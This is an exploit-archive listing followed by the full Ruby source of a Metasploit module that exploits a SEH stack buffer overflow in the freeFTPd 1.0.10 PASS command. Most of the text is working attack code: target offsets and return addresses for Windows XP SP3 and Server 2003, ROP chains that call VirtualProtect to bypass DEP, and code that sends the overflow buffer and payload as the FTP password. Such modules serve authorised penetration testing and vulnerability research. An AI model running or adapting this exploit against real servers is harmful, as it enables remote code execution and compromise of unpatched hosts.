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freeFTPd 1.0.10 PASS Command SEH Overflow

freeFTPd 1.0.10 PASS Command SEH Overflow
Posted Sep 19, 2013
Authored by Wireghoul, Muhamad Fadzil Ramli | Site metasploit.com

This Metasploit module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10. credit goes to Wireghoul.

tags | exploit, overflow
advisories | OSVDB-96517
SHA-256 | 9b1b3722c40ca89375f977802175807d831acd844ac69afb11a55ae6296de174

freeFTPd 1.0.10 PASS Command SEH Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
'Description' => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.

},
'Author' =>
[
'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
# Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass
[ 'Windows XP Pro SP3 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C
# Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
[ 'Windows 2003 Server SP2 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C
# Wireghoul offset does not match mine, so using his offset as a credit to him
#[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

buf = rand_text_english(1000)

case target_index()
when 0
print_status("Target ID: #{target.name}")

# rop skeleton using mona.py
rop =
[
0x77c23960, # POP EBP # RETN [msvcrt.dll]
0x77c23960, # skip 4 bytes [msvcrt.dll]
#----------avoid null byte----------------
0x77c53436, # POP EBX # RETN [msvcrt.dll]
0x042444DE, # EBX = 0x042444DE
0x77c4d04e, # POP EDX # RETN [msvcrt.dll]
0xFBDBBB62, # EDX = 0xFBDBBB62
0x77c2c7ae, # ADD EDX,EBX # POP EBX # RETN 0x10
# 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
0xFBDBBD23, # EBX = 0xFBDBBD23
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c4e392, # POP EAX # RETN
0x042444DE, # EAX = 0x042444DE
0x77c50c77, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
# 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
#-----------------------------------------
0x77c3b1ad, # POP ECX # RETN [msvcrt.dll]
0x77c62f18, # &Writable location [msvcrt.dll]
0x77c46116, # POP EDI # RETN [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c21d16, # POP EAX # RETN [msvcrt.dll]
0x77c11120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]
].flatten.pack("V*")

rop << make_nops(32)
rop << payload.encoded

buf[12,rop.length] = rop

when 1
print_status("Target ID: #{target.name}")

# rop skeleton using mona.py
rop =
[
0x77bb2563, # POP EAX # RETN [msvcrt.dll]
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac27e, # POP EBP # RETN [msvcrt.dll]
0x77be2265, # & push esp # ret [msvcrt.dll]
#----------avoid null byte------------------
0x77be1ef3, # POP EDX # RETN [msvcrt.dll]
0xFBDBBB63, # 0x00000040-> edx
0x77bcb691, # POP EBX # RETN [msvcrt.dll]
0x042444DD, # EBX = 0x042444DD
0x77bbd50e, # ADD EDX,EBX # POP EBX # RETN 0x10
# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
0xFBDBBD23, # EBX** = 0xFBDBBD23
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BC541C, # XOR EAX,EAX # INC EAX # RETN
0x77be2219, # ADD EAX,42444DD # RETN
0x77BDFE37, # ADD EBX,EAX # OR EAX, 3000000 # RETN
# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
#-------------------------------------------
0x77bcadff, # POP ECX # RETN [msvcrt.dll]
0x77bf2cfc, # &Writable location [msvcrt.dll]
0x77bd88b8, # POP EDI # RETN [msvcrt.dll]
0x77bd8c05, # RETN (ROP NOP) [msvcrt.dll]
0x77be3adb, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
].flatten.pack("V*")

rop << make_nops(32)
rop << payload.encoded

buf[49+40,rop.length] = rop

when 2
print_status("Target ID: #{target.name}")

buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded
buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
buf[target['Offset'],4] = [0xfffff9eb].pack("V")
end

buf[target['Offset']+4,4] = [target.ret].pack('V')

print_status("Sending exploit buffer...")
send_user(datastore['FTPUSER'])
send_pass(buf)

handler
disconnect
end

end
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